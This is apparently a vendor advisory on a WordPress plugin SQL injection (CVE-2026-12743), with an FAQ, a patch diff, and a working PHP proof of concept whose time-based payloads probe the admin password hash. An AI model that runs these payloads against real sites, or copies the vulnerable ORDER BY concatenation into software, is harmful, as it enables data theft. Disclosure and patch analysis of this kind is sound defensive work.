What is CVE-2026-12743?

CVE-2026-12743 is a time-based SQL injection vulnerability found in the affiliate-toolkit plugin for WordPress, specifically in versions up to and including 3.8.8. It allows authenticated users with Administrator-level access to inject arbitrary SQL queries via the ‘orderby’ parameter, potentially extracting sensitive data from the database.

How does the SQL injection occur?

The vulnerability arises because the plugin directly concatenates the ‘orderby’ and ‘order’ parameters into SQL queries after only passing them through esc_sql(), which is insufficient for ORDER BY clauses. An attacker can manipulate these parameters to append malicious SQL, such as time-based payloads, to the query.

Who is affected by this vulnerability?

WordPress sites running the affiliate-toolkit plugin version 3.8.8 or earlier are affected. However, exploitation requires Administrator-level access, so only sites where administrators have untrusted users or where accounts are compromised are at practical risk.

How can I check if my site is vulnerable?

Check the plugin version in the WordPress admin dashboard under Plugins. If the version is 3.8.8 or lower, the site is vulnerable. Additionally, review the code in includes/models/atkp_queuetable_helper.php and atkp_template.php for the vulnerable concatenation patterns.

What is the CVSS score and severity?

The CVSS score is 4.9, which is considered Medium severity. This reflects the high privilege requirement (Administrator) but also the potential for significant data exposure, including password hashes and user information.

What is the practical impact of this vulnerability?

An attacker with Administrator access could extract sensitive data from the WordPress database, such as usernames, password hashes, and other user details. This could lead to further compromise, such as account takeover or lateral movement within the site.

How does the proof of concept (PoC) demonstrate the issue?

The PoC logs in as an Administrator and sends a crafted request to the admin page with a malicious ‘orderby’ parameter, such as ‘id,(SELECT IF(1=1,SLEEP(5),0))’. The time delay indicates successful injection, allowing the attacker to infer information based on response times.

What is the fix for this vulnerability?

The vulnerability is patched in version 3.8.9. The patch replaces the direct concatenation with an allowlist approach, validating ‘orderby’ and ‘order’ against predefined safe values. It also improves sanitization of other parameters like ‘per_page’ and ‘offset’.

How can I mitigate the risk if I cannot update immediately?

As a temporary measure, restrict Administrator access to trusted users only, and monitor admin activity for suspicious requests. Additionally, consider using a Web Application Firewall (WAF) to filter malicious ‘orderby’ parameters, but updating to 3.8.9 is the recommended solution.

Why is esc_sql() not sufficient to prevent SQL injection here?

esc_sql() is designed to escape characters for safe inclusion in string literals, but ORDER BY clauses are not string contexts. In such contexts, the input is interpreted as an identifier or expression, so escaping is ineffective. This is why an allowlist is necessary.

Can this vulnerability be exploited by non-administrators?

No, the vulnerability requires Administrator-level access. However, if an attacker compromises a lower-privileged account and escalates privileges, they could then exploit this flaw. It is important to secure all accounts and follow least privilege principles.

What should I do if I suspect my site has been compromised?

If you suspect exploitation, immediately update the plugin to version 3.8.9, change all admin passwords, and audit user accounts for unauthorized changes. Review database logs for unusual queries and consider restoring from a clean backup if necessary.

Published : August 13, 2026

CVE-2026-12743: affiliate-toolkit <= 3.8.8 Authenticated (Administrator+) SQL Injection via 'orderby' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-12743

Plugin affiliate-toolkit-starter

Severity Medium (CVSS 4.9)

CWE 89

Vulnerable Version 3.8.8

Patched Version 3.8.9

Disclosed August 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12743: The affiliate-toolkit plugin for WordPress, versions up to and including 3.8.8, contains a time-based SQL injection vulnerability in the ‘orderby’ parameter of several admin listing pages. This flaw allows authenticated attackers with Administrator-level access to execute arbitrary SQL queries by manipulating the sorting parameters in admin AJAX and table list requests. The vulnerability has a CVSS score of 4.9, indicating a moderate severity issue that can lead to sensitive data extraction.

The root cause lies in the insecure construction of SQL queries within multiple backend files. The function atkp_queue::get_list in includes/models/atkp_queuetable_helper.php and atkp_template::get_system_list in includes/models/atkp_template.php directly concatenated the ‘orderby’ and ‘order’ user-supplied parameters into the SQL query after only passing them through esc_sql(). While esc_sql() escapes certain characters for safe inclusion in a string literal, it does not prevent SQL injection in an ORDER BY clause, which is not a string context. The vulnerable ‘orderby’ parameter is passed to these functions from the listing pages atkp_queue_table.php, atkp_queue_entry_table.php, and atkp_template_table.php, where it is read from the ‘orderby’ request parameter. The patch removes the direct concatenation of these parameters and instead uses an allowlist approach.

An attacker with Administrator-level access can exploit this by crafting a request to the admin pages that load the queue or template tables. They can append a malicious payload to the ‘orderby’ parameter, such as ‘id,(SELECT IF(1=1,SLEEP(5),0))’. When the vulnerable query is executed, it will add the payload to the ORDER BY clause. If the condition in the payload evaluates to true, the database will pause for a specified duration, allowing the attacker to infer information by measuring the time delay. This timing-based technique can be used to systematically extract sensitive data, such as password hashes and usernames, from the WordPress database.

The patch mitigates this vulnerability by using a strict allowlist. The developer has changed the code to validate the ‘orderby’ and ‘order’ parameters against a predefined list of permissible values (e.g., ‘id’, ‘title’, ‘createdon’, ‘status’). If a parameter is not in the allowlist, it defaults to a safe value. The patch also includes better sanitization for the ‘per_page’ and ‘offset’ parameters by casting them to integers and using $wpdb->prepare() for the limit and offset values. This prevents any injection attempts by ensuring that only controlled values can enter the SQL query.

The impact of this vulnerability is limited to authenticated administrators but allows for a severe data breach. The attacker can extract highly sensitive information, including password hashes, email addresses, and other user data, from the wp_users table. The time-based SQL injection method is slow and tedious, but the attacker has the required level of access. This SQL injection can be chained with other attacks if the attacker first compromises a lower-privileged account. Atomic Edge research assesses this as a critical risk, because even though the privilege requirement is high, the potential for full database compromise is devastating.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/affiliate-toolkit-starter/affiliate-toolkit.php
+++ b/affiliate-toolkit-starter/affiliate-toolkit.php
@@ -2,7 +2,7 @@
 /*** Plugin Name: affiliate-toolkit – Multi-Network Affiliate & Amazon Product Display
  * Plugin URI: https://www.affiliate-toolkit.com
  * Description: Display products from Amazon, AWIN, CJ, eBay and 10+ affiliate networks with beautiful product boxes, comparison tables, and automatic price updates.
- * Version: 3.8.8
+ * Version: 3.8.9
  * Requires PHP:      8.2
  * Author: SERVIT Software Solutions
  * Author URI: https://servit.dev
@@ -12,7 +12,7 @@
  * License: GPL2
  */

-define( 'ATKP_UPDATE_VERSION', '3.8.8' );
+define( 'ATKP_UPDATE_VERSION', '3.8.9' );
 define( 'ATKP_UPDATE_ITEM_ID', '7680' );

 if ( ! defined( 'ABSPATH' ) ) {
--- a/affiliate-toolkit-starter/includes/database/atkp_queuetable_helper.php
+++ b/affiliate-toolkit-starter/includes/database/atkp_queuetable_helper.php
@@ -335,9 +335,10 @@

 		$sql = "SELECT * FROM {$tablename}";

-		if ( ! empty( $orderby ) ) {
-			$sql .= ' ORDER BY ' . esc_sql( $orderby );
-			$sql .= ! empty( $order ) ? ' ' . esc_sql( $order ) : ' ASC';
+		$allowed_orderby = array( 'id', 'title', 'createdon', 'status' );
+		if ( ! empty( $orderby ) && in_array( $orderby, $allowed_orderby, true ) ) {
+			$order = in_array( strtolower( $order ), array( 'asc', 'desc' ), true ) ? $order : 'ASC';
+			$sql  .= ' ORDER BY ' . $orderby . ' ' . $order;
 		}

 		$per_page    = intval( $per_page );
@@ -359,11 +360,6 @@

 		$sql = "SELECT * FROM {$tablename} where createdon >= %s and status in ('error')";

-		if ( ! empty( $orderby ) ) {
-			$sql .= ' ORDER BY ' . esc_sql( $orderby );
-			$sql .= ! empty( $order ) ? ' ' . esc_sql( $order ) : ' ASC';
-		}
-
 		$limit = intval( $limit );
 		$sql  .= " LIMIT " . $limit;

@@ -394,9 +390,10 @@
 			$sql .= ' and status in ("error", "not_processed")';
 		}

-		if ( ! empty( $orderby ) ) {
-			$sql .= ' ORDER BY ' . esc_sql( $orderby );
-			$sql .= ! empty( $order ) ? ' ' . esc_sql( $order ) : ' ASC';
+		$allowed_orderby = array( 'id', 'title', 'createdon', 'status' );
+		if ( ! empty( $orderby ) && in_array( $orderby, $allowed_orderby, true ) ) {
+			$order = in_array( strtolower( $order ), array( 'asc', 'desc' ), true ) ? $order : 'ASC';
+			$sql  .= ' ORDER BY ' . $orderby . ' ' . $order;
 		}

 		$sql .= $wpdb->prepare( " LIMIT %d", $per_page );
--- a/affiliate-toolkit-starter/includes/models/atkp_template.php
+++ b/affiliate-toolkit-starter/includes/models/atkp_template.php
@@ -143,16 +143,20 @@

 		$sql = "SELECT * FROM {$wpdb->posts} where post_type='atkp_template' and post_status in ('draft', 'publish')";

-		if ( ! empty( $orderby ) ) {
-			$sql .= ' ORDER BY ' . esc_sql( $orderby );
-			$sql .= ! empty( $order ) ? ' ' . esc_sql( $order ) : ' ASC';
+		$allowed_orderby = array( 'id', 'post_title', 'post_date', 'post_status' );
+		if ( ! empty( $orderby ) && in_array( $orderby, $allowed_orderby, true ) ) {
+			$order = in_array( strtolower( $order ), array( 'asc', 'desc' ), true ) ? $order : 'ASC';
+			$sql  .= ' ORDER BY ' . $orderby . ' ' . $order;
 		}

-		$sql .= " LIMIT $per_page";
-		$sql .= ' OFFSET ' . ( $page_number - 1 ) * $per_page;
+		$per_page    = intval( $per_page );
+		$page_number = intval( $page_number );
+		$offset      = ( $page_number - 1 ) * $per_page;

+		$sql .= $wpdb->prepare( " LIMIT %d", $per_page );
+		$sql .= $wpdb->prepare( " OFFSET %d", $offset );

-		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.NotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter -- Admin template listing, values sanitized via esc_sql() and cast to int.
+		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.NotPrepared -- Admin template listing, orderby/order whitelisted, limit/offset prepared.
 		$result = $wpdb->get_results( $sql, 'ARRAY_A' );

 		return $result;
--- a/affiliate-toolkit-starter/includes/pages/atkp_queue_entry_table.php
+++ b/affiliate-toolkit-starter/includes/pages/atkp_queue_entry_table.php
@@ -262,9 +262,12 @@
 		] );

 		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- WP_List_Table sorting parameters.
-		$orderby = isset( $_REQUEST['orderby'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['orderby'] ) ) : 'id';
+		$orderby_raw    = isset( $_REQUEST['orderby'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['orderby'] ) ) : 'id';
+		$allowed_orderby = array( 'id', 'title', 'createdon', 'status' );
+		$orderby         = in_array( $orderby_raw, $allowed_orderby, true ) ? $orderby_raw : 'id';
 		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
-		$order = isset( $_REQUEST['order'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['order'] ) ) : 'asc';
+		$order_raw = isset( $_REQUEST['order'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['order'] ) ) : 'asc';
+		$order     = in_array( strtolower( $order_raw ), array( 'asc', 'desc' ), true ) ? $order_raw : 'asc';
 		$this->items = atkp_queue_entry::get_list( self::$queue->id, $filter, $per_page, $current_page, $orderby, $order );
 	}

--- a/affiliate-toolkit-starter/includes/pages/atkp_queue_table.php
+++ b/affiliate-toolkit-starter/includes/pages/atkp_queue_table.php
@@ -270,9 +270,12 @@
 		] );

 		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- WP_List_Table sorting parameters.
-		$orderby = isset( $_REQUEST['orderby'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['orderby'] ) ) : 'id';
+		$orderby_raw    = isset( $_REQUEST['orderby'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['orderby'] ) ) : 'id';
+		$allowed_orderby = array( 'id', 'title', 'createdon', 'status' );
+		$orderby         = in_array( $orderby_raw, $allowed_orderby, true ) ? $orderby_raw : 'id';
 		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
-		$order = isset( $_REQUEST['order'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['order'] ) ) : 'desc';
+		$order_raw = isset( $_REQUEST['order'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['order'] ) ) : 'desc';
+		$order     = in_array( strtolower( $order_raw ), array( 'asc', 'desc' ), true ) ? $order_raw : 'desc';
 		$this->items = atkp_queue::get_list( $per_page, $current_page, $orderby, $order );
 	}

--- a/affiliate-toolkit-starter/includes/pages/atkp_template_table.php
+++ b/affiliate-toolkit-starter/includes/pages/atkp_template_table.php
@@ -276,9 +276,12 @@
 		] );

 		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- WP_List_Table sorting parameters.
-		$orderby = isset( $_REQUEST['orderby'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['orderby'] ) ) : 'id';
+		$orderby_raw    = isset( $_REQUEST['orderby'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['orderby'] ) ) : 'id';
+		$allowed_orderby = array( 'id', 'post_title', 'post_date', 'post_status' );
+		$orderby         = in_array( $orderby_raw, $allowed_orderby, true ) ? $orderby_raw : 'id';
 		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
-		$order = isset( $_REQUEST['order'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['order'] ) ) : 'desc';
+		$order_raw = isset( $_REQUEST['order'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['order'] ) ) : 'desc';
+		$order     = in_array( strtolower( $order_raw ), array( 'asc', 'desc' ), true ) ? $order_raw : 'desc';

 		if ( $view == 'system' ) {
 			$this->items = atkp_template::get_system_list( $per_page, $current_page, $orderby, $order );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12743 - Authenticated (Administrator+) SQL Injection via 'orderby' Parameter

// ---------- CONFIGURATION ----------
$target_url = 'http://your-wordpress-site.com/wp-admin/admin.php?page=atkp_queues'; // Target admin page URL
$username = 'admin'; // WordPress admin username
$password = 'password'; // WordPress admin password
// ----------------------------------

// cURL helper function
function http_request($url, $method = 'GET', $headers = [], $cookies = [], $post_data = null) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    if ($method === 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    }
    if (!empty($headers)) {
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    }
    if (!empty($cookies)) {
        $cookie_str = '';
        foreach ($cookies as $name => $value) {
            $cookie_str .= $name . '=' . $value . '; ';
        }
        curl_setopt($ch, CURLOPT_COOKIE, $cookie_str);
    }
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

// Get the login page to retrieve the nonce and cookies
$login_url = 'http://your-wordpress-site.com/wp-login.php';
$response = http_request($login_url);

// Extract the cookie from the response headers
preg_match_all('/^Set-Cookie:s*([^;]*)/mi', $response, $matches);
$cookies = [];
foreach ($matches[1] as $item) {
    parse_str($item, $cookie);
    $cookies = array_merge($cookies, $cookie);
}

// Log in
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
];

$response = http_request($login_url, 'POST', ['Content-Type: application/x-www-form-urlencoded'], $cookies, http_build_query($login_data));
preg_match_all('/^Set-Cookie:s*([^;]*)/mi', $response, $matches);
$cookies = [];
foreach ($matches[1] as $item) {
    parse_str($item, $cookie);
    $cookies = array_merge($cookies, $cookie);
}

// Now, exploit the SQL injection in the 'orderby' parameter
// The vulnerable parameter is in the queue table listing
$admin_page = 'http://your-wordpress-site.com/wp-admin/admin.php?page=atkp_queues';

// Payload to extract a specific character (e.g., the first character of admin password hash)
// This uses a time-based boolean query to determine if the character matches.
// Example: Extract the admin user's password hash length
$payload = "id,(SELECT CASE WHEN LENGTH(user_pass) = 32 THEN SLEEP(5) ELSE 0 END FROM wp_users WHERE ID = 1)";

// URL-encode the payload for the 'orderby' parameter
$enc_payload = urlencode($payload);
$full_url = $admin_page . '&orderby=' . $enc_payload . '&order=asc';

// Measure the time taken for the request
$start = microtime(true);
$response = http_request($full_url, 'GET', ['X-Requested-With: XMLHttpRequest'], $cookies);
$end = microtime(true);
$time_taken = $end - $start;

echo "Time taken for request: " . $time_taken . " secondsn";

if ($time_taken >= 5) {
    echo "[+] Vulnerability confirmed! The SQL injection payload executed successfully.n";
    echo "[+] This indicates the admin password hash length is 32 characters.n";
} else {
    echo "[-] The payload did not trigger a delay. The injection may have failed, or the condition was false.n";
}

?>

Frequently Asked Questions

What is CVE-2026-12743?
Vulnerability Overview
CVE-2026-12743 is a time-based SQL injection vulnerability found in the affiliate-toolkit plugin for WordPress, specifically in versions up to and including 3.8.8. It allows authenticated users with Administrator-level access to inject arbitrary SQL queries via the ‘orderby’ parameter, potentially extracting sensitive data from the database.
How does the SQL injection occur?
Technical Explanation
The vulnerability arises because the plugin directly concatenates the ‘orderby’ and ‘order’ parameters into SQL queries after only passing them through esc_sql(), which is insufficient for ORDER BY clauses. An attacker can manipulate these parameters to append malicious SQL, such as time-based payloads, to the query.
Who is affected by this vulnerability?
Affected Users
WordPress sites running the affiliate-toolkit plugin version 3.8.8 or earlier are affected. However, exploitation requires Administrator-level access, so only sites where administrators have untrusted users or where accounts are compromised are at practical risk.
How can I check if my site is vulnerable?
Detection Steps
Check the plugin version in the WordPress admin dashboard under Plugins. If the version is 3.8.8 or lower, the site is vulnerable. Additionally, review the code in includes/models/atkp_queuetable_helper.php and atkp_template.php for the vulnerable concatenation patterns.
What is the CVSS score and severity?
Risk Assessment
The CVSS score is 4.9, which is considered Medium severity. This reflects the high privilege requirement (Administrator) but also the potential for significant data exposure, including password hashes and user information.
What is the practical impact of this vulnerability?
Real-World Consequences
An attacker with Administrator access could extract sensitive data from the WordPress database, such as usernames, password hashes, and other user details. This could lead to further compromise, such as account takeover or lateral movement within the site.
How does the proof of concept (PoC) demonstrate the issue?
PoC Explanation
The PoC logs in as an Administrator and sends a crafted request to the admin page with a malicious ‘orderby’ parameter, such as ‘id,(SELECT IF(1=1,SLEEP(5),0))’. The time delay indicates successful injection, allowing the attacker to infer information based on response times.
What is the fix for this vulnerability?
Patch Information
The vulnerability is patched in version 3.8.9. The patch replaces the direct concatenation with an allowlist approach, validating ‘orderby’ and ‘order’ against predefined safe values. It also improves sanitization of other parameters like ‘per_page’ and ‘offset’.
How can I mitigate the risk if I cannot update immediately?
Temporary Measures
As a temporary measure, restrict Administrator access to trusted users only, and monitor admin activity for suspicious requests. Additionally, consider using a Web Application Firewall (WAF) to filter malicious ‘orderby’ parameters, but updating to 3.8.9 is the recommended solution.
Why is esc_sql() not sufficient to prevent SQL injection here?
Technical Detail
esc_sql() is designed to escape characters for safe inclusion in string literals, but ORDER BY clauses are not string contexts. In such contexts, the input is interpreted as an identifier or expression, so escaping is ineffective. This is why an allowlist is necessary.
Can this vulnerability be exploited by non-administrators?
Privilege Requirements
No, the vulnerability requires Administrator-level access. However, if an attacker compromises a lower-privileged account and escalates privileges, they could then exploit this flaw. It is important to secure all accounts and follow least privilege principles.
What should I do if I suspect my site has been compromised?
Incident Response
If you suspect exploitation, immediately update the plugin to version 3.8.9, change all admin passwords, and audit user accounts for unauthorized changes. Review database logs for unusual queries and consider restoring from a clean backup if necessary.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started